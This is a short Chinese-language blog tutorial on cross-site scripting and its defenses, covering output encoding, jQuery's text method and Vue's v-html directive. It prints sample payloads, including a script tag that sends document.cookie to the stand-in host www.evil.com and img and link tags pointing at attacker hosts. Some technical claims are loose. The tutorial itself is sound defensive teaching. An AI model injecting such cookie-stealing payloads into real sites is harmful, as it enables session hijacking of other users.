[Tips] 本文是从 jianshu 平台重新修改编辑后移植来的,比上一版本做了些修订。
最近在看一些关于网络安全的问题,当然许多是跟前端相关的,包括且不局限于xss和xsrf 了,那么小编就结合最近的学习实践谈一些粗浅的认识。(\(^o^)/,我是一个喜欢做实验的家伙)
XSS (Cross Site Script)跨站脚本攻击!
XSS 意思就是跨站脚本攻击。这里面也涉及到跨域的问题,特别是在后面谈到XSRF防御的时候。简单来说XSS就是来自外部(用户)输入的脚本被注入到了受害网站,如果该网站没有对用户输入进行过滤,那么这段脚本可能被之后访问该网站的用户浏览器执行。
举个栗子:
假如某个网站有评论功能且没有针对XSS 的过滤,那么小编在某文章下评论了以下内容:
<script>alert("你查看了我的文章!!快打赏!!不打赏不准走!!哈哈")</script>
那么这段字符串POST给了网站服务器,没有对脚本进行过滤或者Encode,啥都没做。原封不动地加入了原本的HTML页面,那么当其他用户查看该文章的时候浏览器就会自动执行HTML 文档中的这句 JS 脚本 ,弹出来 吓人 _ ...
这还不算啥,顶多就是烦人。但如果评论里面写的是:
<script>window.open(www.evil.com?content=document.cookie);</script>
当你再次访问这篇文章的时候,你在当前域下的cookie被小编的恶意网站(www.evil.com)给get到了。。这个网站的后台程序可能会拿到你的cookie(其中包含sessionId 等等),然后借此cookie登陆你的网站账户,乱发段子。当然,目前主流的网站都是禁止JS 脚本获取并且操作cookie的,并且浏览器中的安全机制使得cookie 不会被发送到跨域的其他网站中。
其实,有个非常棒的图展示了整个XSS攻击的过程。
所以作为一个合格的WebApp,不能相信任何用户输入内容, 更不能对数据未加处理就直接Print到HTML DOM 结构里。当今主流的一些前端框架(Angular,Vue.js 等)都实现了对 XSS 的防御,结合服务器端的Token机制更是可以防御XSRF(跨站伪造请求)
防御
那么到底如何防御这种简单的注入攻击呢?
简单地说,核心思想就是:不相信任何用户输入,不允许用户注入脚本,例如<script> 等内容。在需要显示脚本内容之前对其进行Encode,再显示在HTML中。例如Jquery 通过 $.text(userInput) 来创建纯文本节点,而不是把userInput 当作脚本来执行。 Vue.js 等框架则具有更高的安全策略,默认把所有动态内容渲染为纯文本,当你需要把内容执行的时候需要显式调用v-html 指令,如下:
<p >Using mustaches: {{ rawHtml }} </p> // 默认安全渲染纯文本
<p >Using v-html directive: <span v-html="rawHtml"> </span></p> // 当作Html或js 解释执行
除了<script></script>这样的标签在DOM结构中会自动执行,还有哪些??
对的!<img src="attacker.com/attack.js" /> <a href="www.evil.com?content=document.cookie"></a> 等等都能实现GET请求外部脚本,或者向非法网站发送POST请求,可能会修改你正在访问的网站的密码,所以这些内容都应该做Encode处理,总结起来,原理上就是把这些带有 "<", ">", '\"' 等内容转义即可。
举个栗子:
用户输入内容是:<script>alert(" peiqian!")</script>
无害处理后字符串是:
转换背后的机制是一套特殊字符 和 安全字符的映射表, 这与浏览器对HTML的渲染机制有关。各大浏览器中的JS引擎碰到<script> </script>这样的标签,会解析其中的代码,并且执行。但碰到 <> 这样的字符就不会当做JS 执行,而是作为普通字符串打印。大家可以试试看Encode 前后这个例子在浏览器中的表现。
映射表参考链接: 映射表
参考文章
cross-site-scripting
全面学习XSS
更多专业前端知识,请上 【猿2048】www.mk2048.com